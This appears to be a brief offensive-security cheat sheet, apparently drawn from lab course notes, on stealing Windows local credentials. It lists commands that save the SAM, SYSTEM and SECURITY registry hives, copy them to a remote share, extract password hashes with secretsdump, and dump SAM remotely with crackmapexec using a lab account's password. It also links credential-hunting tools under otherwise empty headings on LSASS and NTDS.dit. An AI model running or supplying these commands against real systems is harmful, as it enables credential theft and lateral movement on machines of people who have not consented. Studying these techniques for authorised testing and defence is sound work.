Windows Local Password Attacks

Attacking SAM

# Copy Registery Hives
# Admin Priv Needed
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

# Copy To Local Machine
move sam.save \\<IP\share

# Dump Hashes
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

# Dump SAM Remotly
crackmapexec smb <IP> --local-auth -u bob -p HTB_@cademy_stdnt! --sam

Attacking LSASS

Dumping LSASS

Generating UserNames

https://github.com/urbanadventurer/username-anarchy

Capturing NTDS.dit

Shadow Copy (Manual)

CrackMapExec (Automatic & Faster)

Credential Hunting

Lazagne

Tools: https://github.com/AlessandroZ/LaZagne

Find Command

Last updated